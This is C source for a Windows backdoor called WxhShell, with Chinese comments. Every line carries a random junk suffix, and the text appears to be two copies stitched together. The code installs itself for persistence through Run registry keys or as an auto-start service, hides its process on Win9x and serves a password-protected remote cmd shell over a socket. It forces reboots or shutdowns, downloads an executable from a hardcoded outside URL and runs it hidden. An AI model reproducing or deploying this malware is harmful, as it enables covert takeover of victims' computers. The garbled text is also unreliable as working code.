  case 'd': { z;|A(*Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <#u=[_H  
    if(Boot(SHUTDOWN)) +oovx2r&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~^r29'3  
    else { =06gj)8  
    closesocket(wsh); UVd7 JGR  
    ExitThread(0); U<_3^  
    } J:V6  
    break; 5',8 ziJQ  
    } )W;o<:x3  
  // 获取shell 4;0lvDD  
  case 's': { iiS-9>]/  
    CmdShell(wsh); ]);%wy{Ho  
    closesocket(wsh); Hn%xDJ'  
    ExitThread(0); (2^gVz=j  
    break; +~mA}psr  
  } ~l]ve,W[  
  // 退出 {pnS  Q  
  case 'x': { 3@M|m<_R$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); { + Zd*)M[  
    CloseIt(wsh); hp5|@  
    break; '+?"iVVo  
    } ZK@N5/H(  
  // 离开 0"\H^  
  case 'q': { @M_oH:GV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rld!,t  
    closesocket(wsh); y)W@{@{kl  
    WSACleanup(); w1OI4C)~  
    exit(1); 5 ft`zf  
    break; 117EZg]O  
        } &3J_^210  
  } uao0_swW5  
  } S~;4*7+?:  
1^7hf;|#g  
  // 提示信息 :7!0OVQla\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Bs {u=+w  
} )ttUWy$w  
  } ,+meT`'vn  
7Z\--=;|[:  
  return; ,y 2$cO_>  
} 7BK0}sxO  
jY% na HaI  
// shell模块句柄 s/q7.y7n{  
int CmdShell(SOCKET sock) p~BRh  
{ ,!Z *5  
STARTUPINFO si;  CohDO  
ZeroMemory(&si,sizeof(si)); smRE!f*q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; clL2k8VS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qB0E_y)a  
PROCESS_INFORMATION ProcessInfo; {B?Wu3-  
char cmdline[]="cmd"; !'&n -Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jv%kOovj  
  return 0; 19Mu61  
} ER5gmmVP@p  
QLEKsX7p>  
// 自身启动模式 ktFhc3);!  
int StartFromService(void) k@f g(}6  
{ qln3 k`  
typedef struct gv)P]{%^  
{ lOuHVa*}  
  DWORD ExitStatus; \{Z; :,S  
  DWORD PebBaseAddress; pb ~u E  
  DWORD AffinityMask; 1 u| wMO  
  DWORD BasePriority; ?'@8kpb  
  ULONG UniqueProcessId; 5q;GIw^L  
  ULONG InheritedFromUniqueProcessId; UEM(@zD]  
}   PROCESS_BASIC_INFORMATION; GqaDL3Niqs  
_wkVwPr  
PROCNTQSIP NtQueryInformationProcess; |)b6>.^  
H%UL%l$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f]`#J%P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TMlP*d#  
^S UPi  
  HANDLE             hProcess; oX S1QT`B  
  PROCESS_BASIC_INFORMATION pbi; b[t>te  
r@+ri1c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OWjk=u2Lz  
  if(NULL == hInst ) return 0; p?7v$ev_  
5NS[dQG5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %r%Mlj:#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KxYwJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w+#C-&z  
a(kg/s  
  if (!NtQueryInformationProcess) return 0; Pe3@d|-,MU  
5iz{op<$,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5!DBmAB  
  if(!hProcess) return 0; wQP^WzNE  
e vrXo"3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [S HXJ4P*  
%k-3?%&8  
  CloseHandle(hProcess); ein4^o<f.  
CFzNwgv]z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rz bj  
if(hProcess==NULL) return 0; s>;v!^N?u  
4zev^FR  
HMODULE hMod; bJRN;g  
char procName[255]; 66/3|83Z  
unsigned long cbNeeded; 5][Ztx  
5R@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \6E|pbJ}x  
!sDh4jQ`  
  CloseHandle(hProcess); ^?0DP >XA  
PP;}e  
if(strstr(procName,"services")) return 1; // 以服务启动 +BVym~*^  
zLD0RBj7p  
  return 0; // 注册表启动 T (OW  
} k7?N ?7w  
'Jt]7;04p  
// 主模块 ^?cz,N~  
int StartWxhshell(LPSTR lpCmdLine) ;1`fC@rI  
{ sYe?M,  
  SOCKET wsl; R< ,`[*Z  
BOOL val=TRUE; -8eoNzut  
  int port=0; -=)+dCyB^  
  struct sockaddr_in door; E*.{=W }C  
e,F1Xi #d  
  if(wscfg.ws_autoins) Install(); k9:{9wW  
y.e^hRKb  
port=atoi(lpCmdLine); o<<xY<  
1rv)&tKs  
if(port<=0) port=wscfg.ws_port; F~%]6^$w  
[Sr,h0h6  
  WSADATA data; )PG6gZYW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T]t+E'sQ  
A )^`?m3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    J7=+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IE;~?W"  
  door.sin_family = AF_INET; _hRcc"MS`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f!oT65Vmi  
  door.sin_port = htons(port); %+8F'&X  
P_?gq>E8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ';TT4$(m  
closesocket(wsl); b8V~S'6VqO  
return 1; tZ} v%3  
} o7J  
PZE0}>z  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Fk5kGD,&K  
closesocket(wsl); :*ing  
return 1; 0y 7"SiFY  
} -BRc8 /  
  Wxhshell(wsl); bSfpbo4(  
  WSACleanup(); 6|aKL[%6  
jGXO\:s O  
return 0; ofPHmh`  
UUzYbuS>&l  
} ap&?r`Tu  
i=i(%yQ%  
// 以NT服务方式启动 v@Gl|29_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "} q@Y=  
{ OK{quM5  
DWORD   status = 0; tSVc|j  
  DWORD   specificError = 0xfffffff; qQA}Z*( m  
q*F{/N **  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dRj|g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LV\DBDM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GB>QK  
  serviceStatus.dwWin32ExitCode     = 0; rs,2rSsg!  
  serviceStatus.dwServiceSpecificExitCode = 0; Qr^|:U!;[z  
  serviceStatus.dwCheckPoint       = 0; O\E/. B  
  serviceStatus.dwWaitHint       = 0; tE@;X=  
&j4xgh9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A*2  bA  
  if (hServiceStatusHandle==0) return; _AQb6Nb  
\ ^ZlG.  
status = GetLastError(); P%{^i]  
  if (status!=NO_ERROR) 1QLbf*zeIW  
{ |+iws8xK?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; txiP!+3OWB  
    serviceStatus.dwCheckPoint       = 0; 5&v~i\Q  
    serviceStatus.dwWaitHint       = 0; RRRCS]y7$t  
    serviceStatus.dwWin32ExitCode     = status; 4*Q#0`um  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^.1c{0Y^0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7on.4/;M  
    return; ?Cl%{2omO  
  } RoU55mL  
#9X70|f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /LO -HnJ  
  serviceStatus.dwCheckPoint       = 0; ep2k%?CX 1  
  serviceStatus.dwWaitHint       = 0; p3 w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ptDY3n~'  
} BRlT7grgq  
2^^`n1?'  
// 处理NT服务事件,比如:启动、停止 9?0^ap,T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ``ou/Z  
{ JBJhG<J  
switch(fdwControl) W_kHj}dj,p  
{ kPVO?uO  
case SERVICE_CONTROL_STOP: LL2=&VK  
  serviceStatus.dwWin32ExitCode = 0; 8g&? Cc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kKAP"'v  
  serviceStatus.dwCheckPoint   = 0;  .Nw=[  
  serviceStatus.dwWaitHint     = 0; W7U2MqQ  
  { #=6E\&NC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}5xmz  
  } kL$!E9  
  return; B?4boF?~  
case SERVICE_CONTROL_PAUSE: xL{a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >N]7IU[-  
  break; yp$_/p O=2  
case SERVICE_CONTROL_CONTINUE: xn5l0'2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Y'Vh^9/T  
  break; AQ_|:  
case SERVICE_CONTROL_INTERROGATE: 73xAG1D$r  
  break; G*-b}f  
}; T;,cN7>>O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cq'KoN%nQ  
} _>| =L W@7  
R~)\3] "2m  
// 标准应用程序主函数 @7?#Y|`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DpUbzr41+k  
{ #7MUJY+ 9  
KTP8?Q"n0  
// 获取操作系统版本 "J4WzA%i  
OsIsNt=GetOsVer(); Ed_N[ I   
GetModuleFileName(NULL,ExeFile,MAX_PATH); hnDBFQ{  
[/Rf\T(,jn  
  // 从命令行安装 -F<Wd/Xse  
  if(strpbrk(lpCmdLine,"iI")) Install(); ](&{:>RNJ  
O+]Ifm[  
  // 下载执行文件 | h;0H`  
if(wscfg.ws_downexe) { Kac' ;1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rNB_W.  
  WinExec(wscfg.ws_filenam,SW_HIDE); B oC5E#;G  
} W3 'q\+  
P/Q!<I  
if(!OsIsNt) { K#pNe c  
// 如果时win9x,隐藏进程并且设置为注册表启动 \=6l9Lrj>h  
HideProc(); &ge "x{,?  
StartWxhshell(lpCmdLine); 4scNSeW  
} i[?Vin  
else >AcrG]  
  if(StartFromService()) ^-,xE>3o  
  // 以服务方式启动 y#q?A,C@n  
  StartServiceCtrlDispatcher(DispatchTable); b)=[1g/=L  
else Kjs.L!W  
  // 普通方式启动 MM (xk  
  StartWxhshell(lpCmdLine); X4 A<[&F/  
q U]gj@R  
return 0; kzt(i Y_6  
} <})2#sZO!  
w-Da~[J  
vTJ}8  
%k'!Iq+  
=========================================== c.>oe*+  
:TJv=T'p'  
jO!y_Y]B  
O"F_*  
R}q>O5O  
r\/9X}y4z  
" UFp,a0|  
oxz OA  
#include <stdio.h> A'jP7 P  
#include <string.h> joiL{  
#include <windows.h> z@B=:tf  
#include <winsock2.h> Fsif6k=4  
#include <winsvc.h> rvXWcu-"  
#include <urlmon.h> K95p>E`9e  
">y%iE  
#pragma comment (lib, "Ws2_32.lib") [Pq}p0cD  
#pragma comment (lib, "urlmon.lib") |MFF7z{%  
a2 Y;xe  
#define MAX_USER   100 // 最大客户端连接数 o]; [R  
#define BUF_SOCK   200 // sock buffer L$IQuy  
#define KEY_BUFF   255 // 输入 buffer L5 veX}  
6WU(%  
#define REBOOT     0   // 重启 SVO3821  
#define SHUTDOWN   1   // 关机 8]M_z:F7F  
"a8j"lPJ  
#define DEF_PORT   5000 // 监听端口 r=X}%~_8X  
qoj$]   
#define REG_LEN     16   // 注册表键长度 S"OR%  
#define SVC_LEN     80   // NT服务名长度 4KH45|; 3  
~%SH3$  
// 从dll定义API C4~;yhz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &?*V0luP)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %jJ>x3$F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9hOJvQ2U]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %we u 1f  
J|w\@inQ  
// wxhshell配置信息 V>A .iim  
struct WSCFG { -Xxqm%([71  
  int ws_port;         // 监听端口 pXJpK@z  
  char ws_passstr[REG_LEN]; // 口令 n#wI@W >%+  
  int ws_autoins;       // 安装标记, 1=yes 0=no .zn;:M#T  
  char ws_regname[REG_LEN]; // 注册表键名 Db;G@#x  
  char ws_svcname[REG_LEN]; // 服务名 YRh  B RE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y6Lf@}2(i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (fCXxyZrr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mo[Zb0>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?sMP~RHQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6y6<JR-V2k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2Fq<*pxAY  
4*e0 hWp  
}; BbgnqzU  
1#0{@35  
// default Wxhshell configuration ++V=s\d7  
struct WSCFG wscfg={DEF_PORT, +;#Y]xy:  
    "xuhuanlingzhe", 7tcPwCc{  
    1, Kd=%tNp  
    "Wxhshell", ? P( ZA  
    "Wxhshell", BI $   
            "WxhShell Service", m3mp/g.>  
    "Wrsky Windows CmdShell Service", !!`!|w  
    "Please Input Your Password: ", 't6V:X  
  1, /)4I|"}R0I  
  "http://www.wrsky.com/wxhshell.exe", _g~qu [1  
  "Wxhshell.exe" yp66{o  
    }; {3.r6ZwCn  
OU/MiyP2  
// 消息定义模块 >]W)'lnO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > 3&: 5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o9F/y=.r=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2U; t(,dn'  
char *msg_ws_ext="\n\rExit."; m<0&~rg   
char *msg_ws_end="\n\rQuit."; WV#%PJ  
char *msg_ws_boot="\n\rReboot..."; v7DE  
char *msg_ws_poff="\n\rShutdown..."; _ B 5gR  
char *msg_ws_down="\n\rSave to "; zJ)*Z,7  
D?0zhU  
char *msg_ws_err="\n\rErr!"; 7LU}Iiv  
char *msg_ws_ok="\n\rOK!"; \'CDRr"uw  
2EfF=Fm>  
char ExeFile[MAX_PATH]; S6AU[ASY.  
int nUser = 0; `~ * @q!  
HANDLE handles[MAX_USER]; R0L&*Bjm  
int OsIsNt; av$/Om :  
h3Q21D'f  
SERVICE_STATUS       serviceStatus; _ h": >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Iz%ht  
hb^7oq"a  
// 函数声明 t| 'N+-T3  
int Install(void); `$B3X  
int Uninstall(void); :@!ic<p  
int DownloadFile(char *sURL, SOCKET wsh); l?Fb ='#  
int Boot(int flag); @ )-$kk*  
void HideProc(void); y^}6!>Ou:  
int GetOsVer(void); 5<ux6,E1{  
int Wxhshell(SOCKET wsl); j'BMAn ?  
void TalkWithClient(void *cs); ##EYH1P]  
int CmdShell(SOCKET sock); hYM@?/(q  
int StartFromService(void); Xa[?^P  
int StartWxhshell(LPSTR lpCmdLine); dVFf.  
Vgyew9>E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6p?JAT5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \@1=stK:F  
&bp=`=*  
// 数据结构和表定义 e`v`XSA[p  
SERVICE_TABLE_ENTRY DispatchTable[] = @$2))g`  
{ %o:2^5\W  
{wscfg.ws_svcname, NTServiceMain}, I<8sI%,s  
{NULL, NULL} |7}C QU  
}; a'jR#MQl?  
?zsB6B?;  
// 自我安装 8krpowVs~  
int Install(void) [w&$|h:;  
{ YI.w-K\  
  char svExeFile[MAX_PATH]; i7utKj*57  
  HKEY key; bLd#xXl  
  strcpy(svExeFile,ExeFile); X0M1(BJgGo  
SJ};TEA  
// 如果是win9x系统,修改注册表设为自启动 vJU*>U,  
if(!OsIsNt) { K a(J52  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #~.w&~ :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Wy[).ZAf  
  RegCloseKey(key); O=dJi9;`#_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A6pjRxg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y:v xE8$Q  
  RegCloseKey(key); DANw1 _X\  
  return 0; )h8\u_U  
    } QtJg ^2@  
  } *s>BG1$<  
} 't9hXzAfW  
else { D.1J_Y=9  
{!K-E9_,S  
// 如果是NT以上系统,安装为系统服务  HC a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wu4NLgkE  
if (schSCManager!=0) NSFs\a@1  
{ ~~6^Sh60g  
  SC_HANDLE schService = CreateService yG sz2T;w  
  ( B-T/V-c7  
  schSCManager, _"#!e{N|  
  wscfg.ws_svcname, V2<?ol  
  wscfg.ws_svcdisp, \#>T~.Y7K  
  SERVICE_ALL_ACCESS, /g$G_}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -#Z bR  
  SERVICE_AUTO_START, WzI8_uM  
  SERVICE_ERROR_NORMAL, W{rt8^1  
  svExeFile, &%_& 8DkG  
  NULL, @j4U^"_QB  
  NULL, Eb=#9f%y>&  
  NULL, vQa'S-@u  
  NULL, <6G1 1-K  
  NULL ?"KC-u|  
  ); w1|A5q'M  
  if (schService!=0) f*24)Wn<  
  { l?q%?v8  
  CloseServiceHandle(schService); %Jf<l&K .`  
  CloseServiceHandle(schSCManager); |K^"3`SJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H-xFiF  
  strcat(svExeFile,wscfg.ws_svcname); [F[K^xYTlg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )#}mH@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KPpHwcYxT  
  RegCloseKey(key); G5,~Z&}YS  
  return 0; $L2%u8}8:  
    } nxJee=qH  
  } o8Z[+;  
  CloseServiceHandle(schSCManager); !!:LJ  
} wHem5E  
} vi)%$~  
PccB]  
return 1; .?>5-od2  
} dna6QV>A  
I Nc^L  
// 自我卸载 {q3H5csFq  
int Uninstall(void) gXH[$guf  
{ kGUJ9Du  
  HKEY key; ~Gqno  
5c;h &  
if(!OsIsNt) { Ol')7d&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o1/lZm{\~n  
  RegDeleteValue(key,wscfg.ws_regname); uyF|O/FC  
  RegCloseKey(key); n6(.{M;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^o !O)D-q  
  RegDeleteValue(key,wscfg.ws_regname); QQpP#F|w  
  RegCloseKey(key); HSIvWhg?p  
  return 0; gBf4's  
  } $) 5Bf3P0  
} IjfxR mV  
} $j 5,%\4<  
else { "aF8l<1xn  
cM_ Fp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z h/Uu6  
if (schSCManager!=0) e62Dx#IY  
{ k5&bq2)I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6st^4S5  
  if (schService!=0) $^tv45  
  { vwr74A.g0  
  if(DeleteService(schService)!=0) { CZEW-PIhj  
  CloseServiceHandle(schService); ItX5JV)  
  CloseServiceHandle(schSCManager); (#oycj^<  
  return 0; !4rPv\   
  } RAjkH`  
  CloseServiceHandle(schService); ~=Ncp9ej#  
  } Q8MS,7y/  
  CloseServiceHandle(schSCManager); T|"7sPgGR  
} ? /JBt /b  
} hGf-q?7  
{FI\~ q  
return 1; pX=,iOF[I  
} Y?#i{ixX6n  
[ "xn5l E  
// 从指定url下载文件 X[W]=yJJ  
int DownloadFile(char *sURL, SOCKET wsh) ]=!P(z|  
{ k?VQi5M  
  HRESULT hr; D0;tcm.$  
char seps[]= "/"; rQP"Y[  
char *token; @:x"]!1  
char *file; AA:no=  
char myURL[MAX_PATH]; 7);:ZpDv%L  
char myFILE[MAX_PATH]; |8)Xc=Hz  
I|/'Ds:  
strcpy(myURL,sURL); @+_&Y]  
  token=strtok(myURL,seps); 8#` 6M5  
  while(token!=NULL) E:nt)Ef,  
  { 1zktU.SZ  
    file=token; A{<xc[w;p  
  token=strtok(NULL,seps); =raA?Bp3;(  
  } c0 WFlj9b  
y@wF_WX2  
GetCurrentDirectory(MAX_PATH,myFILE); {[(pWd%J  
strcat(myFILE, "\\"); X;!D};;M  
strcat(myFILE, file); +@VYs*&&  
  send(wsh,myFILE,strlen(myFILE),0); y5 m!*=`l`  
send(wsh,"...",3,0); H0*5_OJ!i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x "(9II*  
  if(hr==S_OK) CDp8)=WJFF  
return 0; ^t[HoFRa  
else +dkS/b  
return 1; k:#6^!b1  
l oqvi  
} Gowp <9 F  
PG,U6c #  
// 系统电源模块 D{'#er  
int Boot(int flag) &HM-g7|C0E  
{ 4%*hGh=  
  HANDLE hToken; /!Z^Y  
  TOKEN_PRIVILEGES tkp; sygH1|f  
6(sIYZ2yq  
  if(OsIsNt) { S2~@nhO`U(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); THhy~wC".  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v6e%#=  
    tkp.PrivilegeCount = 1; g$j6n{Yl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qvt-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /f1'm@8;  
if(flag==REBOOT) { *rqm8z50a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GLKO]y  
  return 0; 2r ];V'r  
} zL s^,x  
else { !;>(i e\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {aN(d3c  
  return 0; )%du@a8  
} #1$}S=8*f  
  } "uu)2Xe  
  else { 6kvV  
if(flag==REBOOT) { X9~m8c){z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dyQh:u -  
  return 0; \Kd7dK9&]  
} ~"ONAX  
else { ${U6=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oVZ4bRl   
  return 0; nR8]@cC  
} Y~oT)wTU  
} Rq7p29w  
-Gsl[Rc0H;  
return 1; j"<Y!Y3  
} NMjnL&P`  
~4 FDKU C  
// win9x进程隐藏模块 g=A$<k  
void HideProc(void) yBz >0I3  
{ >zL |8f  
7unA"9=[4V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \iMyo  
  if ( hKernel != NULL ) i=QqB0  
  { +Z? [M1g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q|q:: q*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~HP LV  
    FreeLibrary(hKernel); eX<K5K.B  
  } wsg//Ec]  
N4[E~ -  
return; :$"7-a %f  
} ) Ypz!  
E_[ONm=,  
// 获取操作系统版本 R @r{  
int GetOsVer(void) o`%I{?UCDJ  
{ MM_py!=>7  
  OSVERSIONINFO winfo; *d l"wH&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); umDtp\  
  GetVersionEx(&winfo); IYNMU\s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MOV =n75  
  return 1; |t\KsW  
  else ci7~KewJ*  
  return 0; _hoAW8i  
} 0]a15  
u ~71l)LA  
// 客户端句柄模块 'P/taEi=R  
int Wxhshell(SOCKET wsl) [&n|\!  
{ ;4d.)-<No_  
  SOCKET wsh; *IlQ5+3I  
  struct sockaddr_in client; ?1m ,SK  
  DWORD myID; Cnur"?w@o  
3#9M2O\T  
  while(nUser<MAX_USER) -]&<Sr-  
{ fjkT5LNx k  
  int nSize=sizeof(client); # J.u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R+^zy"~  
  if(wsh==INVALID_SOCKET) return 1; @+0V& jc  
yGV{^?yoP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X'2Gi  
if(handles[nUser]==0) JfKg_&hM  
  closesocket(wsh); 9`&77+|;e  
else t/Z!O z6ZE  
  nUser++; P7 8uq  
  } >H?uuzi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w$% BlqN  
}9Q f#&o  
  return 0; ^%zNa6BL  
} )b (X  
K|~AA"I;  
// 关闭 socket u.&|CF-  
void CloseIt(SOCKET wsh) LO>8 j:  
{ !>|`ly$6  
closesocket(wsh); cX"G7Bh  
nUser--; ./!KE"!  
ExitThread(0); ^=#!D[xj>  
} q/J3cXa{K  
(v|`LmV  
// 客户端请求句柄 g!5#,kJM  
void TalkWithClient(void *cs) o?=fhc  
{ c V(H<"I  
Gavkil  
  SOCKET wsh=(SOCKET)cs; .ftUhg  
  char pwd[SVC_LEN]; J<-Fua^  
  char cmd[KEY_BUFF]; WV~SL/k|   
char chr[1]; HtS#_y%(  
int i,j; M[vCpa  
G%`cJdM  
  while (nUser < MAX_USER) { V"U~Q=`K  
]Qy,#p'~&H  
if(wscfg.ws_passstr) { q\G{]dz?R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j>g9\i0O1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +9}' s{  
  //ZeroMemory(pwd,KEY_BUFF); 0, "ZV}  
      i=0; wJr/FE 7c  
  while(i<SVC_LEN) { 2?pM5n  
(77Dif0)'  
  // 设置超时 X?_v+'G  
  fd_set FdRead; P ]_Vz  
  struct timeval TimeOut; mlmnkgl ]  
  FD_ZERO(&FdRead); ;lkf+,;  
  FD_SET(wsh,&FdRead); 6%z`)d  
  TimeOut.tv_sec=8; rOhA*_EG  
  TimeOut.tv_usec=0; x6~Fb~aP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #m_\1&g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t3M0La&  
KD9Ca $-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); td`wNy\  
  pwd=chr[0]; cG5$lB  
  if(chr[0]==0xd || chr[0]==0xa) { ] : Wb1  
  pwd=0; 9cbB[c_.  
  break; 0YHYxn  
  } 3 dY6;/s  
  i++; RDJ82{  
    } rcpvH}N:  
 6.vNe  
  // 如果是非法用户,关闭 socket 00R%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M`q#,Y?3^I  
} J~:kuf21  
2%*|fF}I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :nTkg[49pJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -1#e^9Ve\  
yW'BrTw  
while(1) { %{c2lyw  
N_|YOw6  
  ZeroMemory(cmd,KEY_BUFF); EsS!07fAM:  
rjt O`Mt`  
      // 自动支持客户端 telnet标准   Y}*Ctdrl  
  j=0; s')!<E+z\t  
  while(j<KEY_BUFF) { \y<+Fac1S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pq@$&G  
  cmd[j]=chr[0]; UYl JO{|a  
  if(chr[0]==0xa || chr[0]==0xd) { {=UKTk/t8  
  cmd[j]=0; @)+i{Niuv  
  break; C3^X1F0  
  } fdvi}SS8  
  j++; pZW}^kg=  
    } T`j  
>2*6qx>V  
  // 下载文件 ?m`R%>X"  
  if(strstr(cmd,"http://")) { g(M(Hn7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  \q|e8k4p  
  if(DownloadFile(cmd,wsh)) p3i qW,[@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;o&_:]S  
  else I]s:Ev[~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t,UW&iLK  
  } G>9'5Lt  
  else { Nj"_sA p  
ZzSJm+&'  
